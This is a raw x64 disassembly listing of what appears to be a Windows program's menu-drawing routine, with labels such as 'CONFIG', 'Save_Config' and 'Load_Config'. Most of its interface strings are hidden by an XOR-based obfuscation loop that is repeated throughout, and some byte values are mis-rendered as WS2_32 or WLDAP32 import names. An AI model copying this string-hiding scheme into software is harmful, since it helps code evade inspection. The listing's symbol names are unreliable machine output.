mov dword [rsi + 0x47f4], 0x43fa0000
mov dword [rsi + 0x47d8], 1
xor edx, edx
mov r8d, 0x30ab
lea rcx, [0x1400ccdee]
call fcn.140024750
mov rax, qword [0x140ac0050]
mov rcx, qword [rax + 0x3ef8]
movsd xmm0, qword [rcx + 0x20]
movsd qword [rbp + 0x468], xmm0
lea rcx, [rbp + 0x460]
call fcn.14002aa60
call fcn.14001ded0
mov rbx, rax
mov rcx, qword [0x140ac0050]
movss xmm0, dword [0x140ac0848]
movss dword [rbp + 0x4d0], xmm0
movss xmm1, dword [0x140ac084c]
movss dword [rbp + 0x4d4], xmm1
movss xmm0, dword [0x140ac0850]
movss dword [rbp + 0x4d8], xmm0
movss xmm1, dword [0x140ac0854]
mulss xmm1, dword [rcx + 0x37d0]
movss dword [rbp + 0x4dc], xmm1
lea rcx, [rbp + 0x4d0]
call fcn.14001a080
movss xmm1, dword [rbp + 0x46c]
addss xmm1, dword [rbp + 0x464]
movss xmm0, dword [rbp + 0x468]
addss xmm0, dword [rbp + 0x460]
movss dword [rbp + 0x33c], xmm0
movss dword [rbp + 0x340], xmm1
mov dword [rsp + 0x28], edi
movss xmm0, dword [0x1400dc000]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x33c]
lea rdx, [rbp + 0x468]
mov rcx, rbx
call fcn.14003e9a0
call fcn.14001ded0
mov rbx, rax
mov rcx, qword [0x140ac0050]
movss xmm0, dword [0x140ac0858]
movss dword [rbp + 0x4e0], xmm0
movss xmm1, dword [0x140ac085c]
movss dword [rbp + 0x4e4], xmm1
movss xmm0, dword [0x140ac0860]
movss dword [rbp + 0x4e8], xmm0
movss xmm1, dword [0x140ac0864]
mulss xmm1, dword [rcx + 0x37d0]
movss dword [rbp + 0x4ec], xmm1
lea rcx, [rbp + 0x4e0]
call fcn.14001a080
movss xmm1, dword [rbp + 0x464]
subss xmm1, dword [rsi + 0x3820]
addss xmm1, dword [rbp + 0x46c]
movss xmm3, dword [rbp + 0x468]
movaps xmm0, xmm3
addss xmm0, xmm12
movss dword [rbp + 0x334], xmm0
movss dword [rbp + 0x338], xmm1
movss xmm1, dword [rsi + 0x3820]
movaps xmm0, xmm1
subss xmm0, xmm15
addss xmm0, dword [rbp + 0x46c]
addss xmm0, xmm1
addss xmm3, xmm10
addss xmm3, dword [rsi + 0x381c]
movss dword [rbp + 0x32c], xmm3
movss dword [rbp + 0x330], xmm0
mov dword [rsp + 0x28], edi
movss xmm0, dword [0x1400dbffc]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x334]
lea rdx, [rbp + 0x32c]
mov rcx, rbx
call fcn.14003e9a0
movss xmm1, dword [rsi + 0x3820]
addss xmm1, xmm1
addss xmm1, dword [0x1400dc068]
movss xmm0, dword [rsi + 0x381c]
addss xmm0, xmm0
movss dword [rbp + 0x324], xmm0
movss dword [rbp + 0x328], xmm1
lea rcx, [rbp + 0x324]
call fcn.14002a770
call fcn.14002aac0
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
movaps xmm0, xmm12
subss xmm0, xmm1
movss dword [rbp + 0x31c], xmm0
mov dword [rbp + 0x320], 0x420c0000
mov byte [rbp - 0x78], 0x51
mov byte [rbp - 0x77], 0x77
mov byte [rbp - 0x76], 0x41
mov byte [rbp - 0x75], Ordinal_79
mov byte [rbp - 0x74], Ordinal_79
mov byte [rbp - 0x73], 0x5a
mov byte [rbp - 0x72], Ordinal_41
movzx eax, byte [rbp - 0x78]
mov r9, rdi
movabs rbx, 0xbfaa1074c3d0ec1e
mov r10, rbx
lea rax, [rbp - 0x78]
sub r10, rax
nop word [rax + rax]
lea rdx, [rbp - 0x78]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x78], al
inc r9
cmp r9, 7
jb 0x140075cf0
mov rax, qword [0x140ac0260]
cmp dword [rax], 0
sete cl
mov dword [rsp + 0x20], edi
lea r9, [rbp + 0x31c]
lea r8, [rbp - 0x78]
mov rdx, qword [0x140ac00d8]
call fcn.14004bac0
test al, al
je 0x140075d5f
mov rax, qword [0x140ac0260]
mov dword [rax], edi
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
movaps xmm0, xmm12
subss xmm0, xmm1
movss dword [rbp + 0x30c], xmm0
mov dword [rbp + 0x310], 0x420c0000
mov byte [rbp - 0x60], __WSAFDIsSet
mov byte [rbp - 0x5f], 0xa6
mov byte [rbp - 0x5e], 0xb3
mov byte [rbp - 0x5d], 0xb6
mov byte [rbp - 0x5c], 0xa8
mov byte [rbp - 0x5b], 0xa7
mov byte [rbp - 0x5a], 0xb0
mov byte [rbp - 0x59], 0xcf
movzx eax, byte [rbp - 0x60]
mov r9, rdi
movabs r11, 0x70955a526bcf64c2
mov r10, r11
lea rax, [rbp - 0x60]
sub r10, rax
lea rdx, [rbp - 0x60]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x60], al
inc r9
cmp r9, 8
jb 0x140075dc0
mov rax, qword [0x140ac0260]
cmp dword [rax], 1
sete cl
mov dword [rsp + 0x20], edi
lea r9, [rbp + 0x30c]
lea r8, [rbp - 0x60]
mov rdx, qword [0x140ac00e0]
call fcn.14004bac0
test al, al
je 0x140075e33
mov rax, qword [0x140ac0260]
mov dword [rax], 1
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
movaps xmm0, xmm12
subss xmm0, xmm1
movss dword [rbp + 0x304], xmm0
mov dword [rbp + 0x308], 0x420c0000
mov byte [rbp], 0xa3
mov byte [rbp + 1], 0x9d
mov byte [rbp + 2], Ordinal_143
mov byte [rbp + 3], 0x8a
mov byte [rbp + 4], __WSAFDIsSet
mov byte [rbp + 5], 0x91
mov byte [rbp + 6], 0x99
mov byte [rbp + 7], 0x83
mov byte [rbp + 8], 0xf5
movzx eax, byte [rbp]
mov r9, rdi
mov r10, r12
lea rax, [rbp]
sub r10, rax
nop
lea rdx, [rbp]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9], al
inc r9
cmp r9, 9
jb 0x140075e90
mov rax, qword [0x140ac0260]
cmp dword [rax], 2
sete cl
mov dword [rsp + 0x20], edi
lea r9, [rbp + 0x304]
lea r8, [rbp]
mov rdx, qword [0x140ac00f8]
call fcn.14004bac0
test al, al
je 0x140075f03
mov rax, qword [0x140ac0260]
mov dword [rax], 2
call fcn.14002abf0
movss xmm0, dword [rsi + 0x3820]
movaps xmm1, xmm0
subss xmm1, xmm15
addss xmm1, xmm0
movss xmm0, dword [rsi + 0x381c]
addss xmm0, xmm12
movss dword [rbp + 0x2fc], xmm0
movss dword [rbp + 0x300], xmm1
lea rcx, [rbp + 0x2fc]
call fcn.14002a770
mov rcx, qword [0x140ac0260]
mov edx, dword [rcx]
test edx, edx
je 0x140077632
sub edx, 1
je 0x1400766d8
cmp edx, 1
jne 0x140078086
call fcn.14002aac0
movss xmm0, dword [rsi + 0x3820]
addss xmm0, xmm0
subss xmm0, xmm8
movss xmm2, dword [rbp + 0x464]
subss xmm2, xmm0
mulss xmm2, xmm6
addss xmm2, xmm9
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
addss xmm1, xmm13
movss xmm0, dword [rbp + 0x460]
subss xmm0, xmm1
mulss xmm0, xmm6
movss dword [rbp + 0x2f4], xmm0
movss dword [rbp + 0x2f8], xmm2
mov byte [rbp - 0x30], 0xa3
mov byte [rbp - 0x2f], 0xbd
mov byte [rbp - 0x2e], 0xac
mov byte [rbp - 0x2d], 0xaa
mov byte [rbp - 0x2c], 0xb4
mov byte [rbp - 0x2b], 0xb1
mov byte [rbp - 0x2a], 0xb9
mov byte [rbp - 0x29], 0xa3
mov byte [rbp - 0x28], 0xf5
movzx eax, byte [rbp - 0x30]
mov r9, rdi
mov r10, r12
lea rax, [rbp - 0x30]
sub r10, rax
nop dword [rax]
lea rdx, [rbp - 0x30]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x30], al
inc r9
cmp r9, 9
jb 0x140076000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x2f4]
lea rcx, [rbp - 0x30]
call fcn.140021500
mov rdx, qword [0x140ac0260]
add rdx, 8
mov byte [rbp + 0x190], 0xe3
mov byte [rbp + 0x191], Ordinal_211
mov byte [rbp + 0x192], 0xca
mov byte [rbp + 0x193], 0xdc
mov byte [rbp + 0x194], 0xcc
mov byte [rbp + 0x195], 0xc1
mov byte [rbp + 0x196], 0xdc
mov byte [rbp + 0x197], 0xde
mov byte [rbp + 0x198], Ordinal_200
mov byte [rbp + 0x199], __WSAFDIsSet
mov byte [rbp + 0x19a], 0xe0
mov byte [rbp + 0x19b], Ordinal_211
mov byte [rbp + 0x19c], Ordinal_200
mov byte [rbp + 0x19d], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x19e], 0xdb
mov byte [rbp + 0x19f], Ordinal_200
mov byte [rbp + 0x1a0], Ordinal_200
mov byte [rbp + 0x1a1], 0xb1
movzx eax, byte [rbp + 0x190]
mov r10, rdi
movabs rbx, 0xfcf1e706a02d58aa
mov r11, rbx
lea rax, [rbp + 0x190]
sub r11, rax
nop word [rax + rax]
lea r8, [rbp + 0x190]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x190], al
inc r10
cmp r10, 0x12
jb 0x140076100
lea rcx, [rbp + 0x190]
call fcn.14004dbd0
mov rdx, qword [0x140ac0260]
add rdx, 7
mov byte [rbp + 0xb0], 3
mov byte [rbp + 0xb1], Ordinal_45
mov byte [rbp + 0xb2], Ordinal_50
mov byte [rbp + 0xb3], 0x3e
mov byte [rbp + 0xb4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb5], Ordinal_60
mov byte [rbp + 0xb6], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb7], reloc.WS2_32.dll_select
mov byte [rbp + 0xb8], reloc.WS2_32.dll_listen
mov byte [rbp + 0xb9], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xba], 9
mov byte [rbp + 0xbb], WSAGetLastError
movzx eax, byte [rbp + 0xb0]
mov r10, rdi
movabs rbx, 0x270acb301143625a
mov r11, rbx
lea rax, [rbp + 0xb0]
sub r11, rax
nop dword [rax]
lea r8, [rbp + 0xb0]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0xb0], al
inc r10
cmp r10, 0xc
jb 0x1400761d0
lea rcx, [rbp + 0xb0]
call fcn.14004dbd0
mov rdx, qword [0x140ac0260]
add rdx, 4
mov byte [rbp + 0x80], 0xa3
mov byte [rbp + 0x81], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x82], 0x84
mov byte [rbp + 0x83], 0x9c
mov byte [rbp + 0x84], __WSAFDIsSet
mov byte [rbp + 0x85], Ordinal_143
mov byte [rbp + 0x86], 0x99
mov byte [rbp + 0x87], __WSAFDIsSet
mov byte [rbp + 0x88], 0x80
mov byte [rbp + 0x89], 0xfe
movzx eax, byte [rbp + 0x80]
mov r10, rdi
movabs rbx, 0x8cd399d098a827ea
mov r11, rbx
lea rax, [rbp + 0x80]
sub r11, rax
nop
lea r8, [rbp + 0x80]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x80], al
inc r10
cmp r10, 0xa
jb 0x140076290
lea rcx, [rbp + 0x80]
call fcn.14004dbd0
mov rdx, qword [0x140ac0260]
add rdx, 6
mov byte [rbp + 0xe0], 0xe3
mov byte [rbp + 0xe1], Ordinal_217
mov byte [rbp + 0xe2], Ordinal_217
mov byte [rbp + 0xe3], Ordinal_211
mov byte [rbp + 0xe4], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xe5], 0xf2
mov byte [rbp + 0xe6], 0xde
mov byte [rbp + 0xe7], 0xdc
mov byte [rbp + 0xe8], Ordinal_200
mov byte [rbp + 0xe9], 0xdd
mov byte [rbp + 0xea], 0xa4
mov byte [rbp + 0xeb], 0xa8
mov byte [rbp + 0xec], 0xc0
movzx eax, byte [rbp + 0xe0]
mov r10, rdi
movabs rbx, 0xd1f2c8dffdad03b6
mov r11, rbx
lea rax, [rbp + 0xe0]
sub r11, rax
nop dword [rax]
nop dword [rax + rax]
lea r8, [rbp + 0xe0]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0xe0], al
inc r10
cmp r10, 0xd
jb 0x140076370
lea rcx, [rbp + 0xe0]
call fcn.14004dbd0
mov rdx, qword [0x140ac0260]
add rdx, 9
mov byte [rbp - 0x40], 0xa3
mov byte [rbp - 0x3f], 0x90
mov byte [rbp - 0x3e], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp - 0x3d], 0x89
mov byte [rbp - 0x3c], 0xdd
mov byte [rbp - 0x3b], 0xb9
mov byte [rbp - 0x3a], 0xae
mov byte [rbp - 0x39], 0xa3
mov byte [rbp - 0x38], 0xf5
movzx eax, byte [rbp - 0x40]
mov r10, rdi
mov r11, r12
lea rax, [rbp - 0x40]
sub r11, rax
nop dword [rax]
lea r8, [rbp - 0x40]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 - 0x40], al
inc r10
cmp r10, 9
jb 0x140076400
lea rcx, [rbp - 0x40]
call fcn.14004dbd0
mov dword [rbp + 0x2ec], 0x42f00000
mov dword [rbp + 0x2f0], 0x41a00000
mov byte [rbp - 0x70], 0x45
mov byte [rbp - 0x6f], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp - 0x6e], 0x40
mov byte [rbp - 0x6d], 0x40
mov byte [rbp - 0x6c], 0x43
mov byte [rbp - 0x6b], 0x4a
mov byte [rbp - 0x6a], Ordinal_41
movzx eax, byte [rbp - 0x70]
mov r9, rdi
movabs rbx, 0xbfaa1074c3d0ec1e
mov r10, rbx
lea rax, [rbp - 0x70]
sub r10, rax
nop
lea rdx, [rbp - 0x70]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x70], al
inc r9
cmp r9, 7
jb 0x140076490
xor r8d, r8d
lea rdx, [rbp + 0x2ec]
lea rcx, [rbp - 0x70]
call fcn.14004c550
test al, al
jne 0x14007824a
call fcn.1400215e0
call fcn.14002abf0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.14002a6c0
call fcn.14002aac0
movss xmm0, dword [rsi + 0x3820]
addss xmm0, xmm0
subss xmm0, xmm8
movss xmm2, dword [rbp + 0x464]
subss xmm2, xmm0
mulss xmm2, xmm6
addss xmm2, xmm9
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
addss xmm1, xmm14
movss xmm0, dword [rbp + 0x460]
subss xmm0, xmm1
mulss xmm0, xmm6
movss dword [rbp + 0x2e4], xmm0
movss dword [rbp + 0x2e8], xmm2
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x2e4]
lea rcx, str.CONFIG
call fcn.140021500
mov dword [rbp + 0x314], 0x42a00000
mov dword [rbp + 0x318], 0x42a00000
xor r8d, r8d
lea rdx, [rbp + 0x314]
lea rcx, str.Save_Config
call fcn.14004c550
test al, al
je 0x140076623
mov byte [rbp - 0x50], 0xb3
mov byte [rbp - 0x4f], 0xc2
mov byte [rbp - 0x4e], 0xa4
mov byte [rbp - 0x4d], 0x9d
mov byte [rbp - 0x4c], 0x9b
mov byte [rbp - 0x4b], 0x98
mov byte [rbp - 0x4a], 0x98
mov byte [rbp - 0x49], 0x9e
mov byte [rbp - 0x48], 0xf5
movzx eax, byte [rbp - 0x50]
mov r9, rdi
mov r10, r12
lea rax, [rbp - 0x50]
sub r10, rax
nop dword [rax + rax]
lea rdx, [rbp - 0x50]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x50], al
inc r9
cmp r9, 9
jb 0x1400765e0
lea rcx, [rbp - 0x50]
call fcn.14006a3b0
mov dword [rbp + 0x2dc], 0x42a00000
mov dword [rbp + 0x2e0], 0x42a00000
xor r8d, r8d
lea rdx, [rbp + 0x2dc]
lea rcx, str.Load_Config
call fcn.14004c550
test al, al
je 0x14007807c
mov byte [rbp + 0x60], 0xb3
mov byte [rbp + 0x61], 0xc2
mov byte [rbp + 0x62], 0xa4
mov byte [rbp + 0x63], 0x9d
mov byte [rbp + 0x64], 0x9b
mov byte [rbp + 0x65], 0x98
mov byte [rbp + 0x66], 0x98
mov byte [rbp + 0x67], 0x9e
mov byte [rbp + 0x68], 0xf5
movzx eax, byte [rbp + 0x60]
mov r9, rdi
mov r10, r12
lea rax, [rbp + 0x60]
sub r10, rax
nop word [rax + rax]
lea rdx, [rbp + 0x60]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x60], al
inc r9
cmp r9, 9
jb 0x140076690
lea rcx, [rbp + 0x60]
call fcn.14006ab10
jmp 0x14007807c
call fcn.14002aac0
movss xmm0, dword [rsi + 0x3820]
addss xmm0, xmm0
subss xmm0, xmm8
movss xmm2, dword [rbp + 0x464]
subss xmm2, xmm0
mulss xmm2, xmm6
addss xmm2, xmm9
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
addss xmm1, xmm13
movss xmm0, dword [rbp + 0x460]
subss xmm0, xmm1
mulss xmm0, xmm6
movss dword [rbp + 0x2d4], xmm0
movss dword [rbp + 0x2d8], xmm2
mov byte [rbp - 0x58], __WSAFDIsSet
mov byte [rbp - 0x57], 0x86
mov byte [rbp - 0x56], 0x93
mov byte [rbp - 0x55], __WSAFDIsSet
mov byte [rbp - 0x54], 0x88
mov byte [rbp - 0x53], 0x87
mov byte [rbp - 0x52], 0x90
mov byte [rbp - 0x51], 0xcf
movzx eax, byte [rbp - 0x58]
mov r9, rdi
movabs r11, 0x70955a526bcf64c2
mov r10, r11
lea rax, [rbp - 0x58]
sub r10, rax
nop
lea rdx, [rbp - 0x58]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x58], al
inc r9
cmp r9, 8
jb 0x140076770
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x2d4]
lea rcx, [rbp - 0x58]
call fcn.140021500
mov rdx, qword [0x140ac0340]
add rdx, 0xc
mov byte [rbp + 0x160], 0x45
mov byte [rbp + 0x161], 0x61
mov byte [rbp + 0x162], 0x76
mov byte [rbp + 0x163], 0x78
mov byte [rbp + 0x164], 0x7d
mov byte [rbp + 0x165], WSAStartup
mov byte [rbp + 0x166], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x167], 0x40
mov byte [rbp + 0x168], 0x7d
mov byte [rbp + 0x169], WSASetLastError
mov byte [rbp + 0x16a], WSASetLastError
mov byte [rbp + 0x16b], 0x79
mov byte [rbp + 0x16c], 0x7c
mov byte [rbp + 0x16d], 0x62
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_22e], 0x16
movzx eax, byte [rbp + 0x160]
mov r10, rdi
movabs rbx, 0xdaaa16a23d73b70e
mov r11, rbx
lea rax, [rbp + 0x160]
sub r11, rax
nop word [rax + rax]
lea r8, [rbp + 0x160]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x160], al
inc r10
cmp r10, 0xf
jb 0x140076860
lea rcx, [rbp + 0x160]
call fcn.14004dbd0
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140ac0978], eax
jle 0x140076aec
lea rcx, [0x140ac0978]
call fcn.1400bc718
movabs rbx, 0x2b8d5e5b14d85c66
cmp dword [0x140ac0978], 0xffffffff
jne 0x140076af6
mov byte [rsp + 0x68], Ordinal_41
mov byte [rsp + 0x69], reloc.WS2_32.dll_sendto
mov byte [rsp + 0x6a], 8
mov byte [rsp + 0x6b], 0
mov byte [rsp + 0x6c], 0x62
movzx eax, byte [rsp + 0x68]
mov r9, rdi
mov r10, rbx
lea rax, [rsp + 0x68]
sub r10, rax
nop dword [rax]
lea rdx, [rsp + 0x68]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x68], al
inc r9
cmp r9, 5
jb 0x140076920
lea rax, [rsp + 0x68]
mov qword [0x140ac06b8], rax
mov byte [rbp + 0x70], 0xb3
mov byte [rbp + 0x71], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x72], 0x8a
mov byte [rbp + 0x73], 0x90
mov byte [rbp + 0x74], 0x98
mov byte [rbp + 0x75], Ordinal_143
mov byte [rbp + 0x76], 0x9b
mov byte [rbp + 0x77], __WSAFDIsSet
mov byte [rbp + 0x78], 0xf5
movzx eax, byte [rbp + 0x70]
mov r9, rdi
mov r10, r12
lea rax, [rbp + 0x70]
sub r10, rax
nop dword [rax]
lea rdx, [rbp + 0x70]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x70], al
inc r9
cmp r9, 9
jb 0x1400769a0
lea rax, [rbp + 0x70]
mov qword [0x140ac06c0], rax
mov byte [rbp + 0x1c0], 0xf4
mov byte [rbp + 0x1c1], 0xc9
mov byte [rbp + 0x1c2], Ordinal_217
mov byte [rbp + 0x1c3], Ordinal_211
mov byte [rbp + 0x1c4], Ordinal_200
mov byte [rbp + 0x1c5], 0x80
mov byte [rbp + 0x1c6], 0xf4
mov byte [rbp + 0x1c7], Ordinal_211
mov byte [rbp + 0x1c8], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x1c9], Ordinal_217
mov byte [rbp + 0x1ca], 0xdd
mov byte [rbp + 0x1cb], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1cc], 0xde
mov byte [rbp + 0x1cd], Ordinal_217
mov byte [rbp + 0x1ce], 0xda
mov byte [rbp + 0x1cf], Ordinal_217
mov byte [rbp + 0x1d0], 0xdc
mov byte [rbp + 0x1d1], 0xb1
movzx eax, byte [rbp + 0x1c0]
mov r9, rdi
movabs r11, 0xfcf1e706a02d58aa
mov r10, r11
lea rax, [rbp + 0x1c0]
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp + 0x1c0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x1c0], al
inc r9
cmp r9, 0x12
jb 0x140076a90
lea rax, [rbp + 0x1c0]
mov qword [0x140ac06c8], rax
lea rcx, [0x140ac0978]
call fcn.1400bc6ac
jmp 0x140076af6
movabs rbx, 0x2b8d5e5b14d85c66
mov rdx, qword [0x140ac0340]
add rdx, 0x10
mov byte [rbp + 0xf0], 0xf5
mov byte [rbp + 0xf1], Ordinal_211
mov byte [rbp + 0xf2], 0xda
mov byte [rbp + 0xf3], 0xdb
mov byte [rbp + 0xf4], 0xdb
mov byte [rbp + 0xf5], Ordinal_217
mov byte [rbp + 0xf6], __WSAFDIsSet
mov byte [rbp + 0xf7], 0xf0
mov byte [rbp + 0xf8], 0xde
mov byte [rbp + 0xf9], 0xca
mov byte [rbp + 0xfa], 0xad
mov byte [rbp + 0xfb], 0xbe
mov byte [rbp + 0xfc], 0xc0
movzx eax, byte [rbp + 0xf0]
mov r10, rdi
movabs r13, 0xd1f2c8dffdad03b6
mov r11, r13
lea rax, [rbp + 0xf0]
sub r11, rax
nop dword [rax]
lea r8, [rbp + 0xf0]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r13
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0xf0], al
inc r10
cmp r10, 0xd
jb 0x140076b80
lea rcx, [rbp + 0xf0]
call fcn.14004dbd0
mov rax, qword [0x140ac0340]
cmp byte [rax + 0x10], 0
je 0x140076c89
lea rdx, [rax + 8]
mov byte [rbp + 0x40], 0xb2
mov byte [rbp + 0x41], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x42], 0x80
mov byte [rbp + 0x43], 0xde
mov byte [rbp + 0x44], 0xa9
mov byte [rbp + 0x45], 0x86
mov byte [rbp + 0x46], Ordinal_143
mov byte [rbp + 0x47], __WSAFDIsSet
mov byte [rbp + 0x48], 0xf5
movzx eax, byte [rbp + 0x40]
mov r10, rdi
mov r11, r12
lea rax, [rbp + 0x40]
sub r11, rax
nop word [rax + rax]
lea r8, [rbp + 0x40]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x40], al
inc r10
cmp r10, 9
jb 0x140076c20
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 3
lea r9, [0x140ac06b8]
lea r8, [fcn.140050090]
lea rcx, [rbp + 0x40]
call fcn.1400500b0
mov rax, qword [0x140ac0340]
lea rdx, [rax + 0xf]
mov byte [rbp - 0x20], 0xa3
mov byte [rbp - 0x1f], 0x93
mov byte [rbp - 0x1e], 0x9d
mov byte [rbp - 0x1d], 0x92
mov byte [rbp - 0x1c], 0x98
mov byte [rbp - 0x1b], 0x8b
mov byte [rbp - 0x1a], 0x91
mov byte [rbp - 0x19], 0x9e
mov byte [rbp - 0x18], 0xf5
movzx eax, byte [rbp - 0x20]
mov r10, rdi
mov r11, r12
lea rax, [rbp - 0x20]
sub r11, rax
lea r8, [rbp - 0x20]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 - 0x20], al
inc r10
cmp r10, 9
jb 0x140076cc2
lea rcx, [rbp - 0x20]
call fcn.14004dbd0
mov rdx, qword [0x140ac0340]
add rdx, 0x11
mov byte [rsp + 0x70], Ordinal_45
mov byte [rsp + 0x71], 8
mov byte [rsp + 0x72], 0xa
mov byte [rsp + 0x73], 9
mov byte [rsp + 0x74], 0x62
movzx eax, byte [rsp + 0x70]
mov r10, rdi
mov r11, rbx
lea rax, [rsp + 0x70]
sub r11, rax
nop dword [rax]
lea r8, [rsp + 0x70]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rsp + r10 + 0x70], al
inc r10
cmp r10, 5
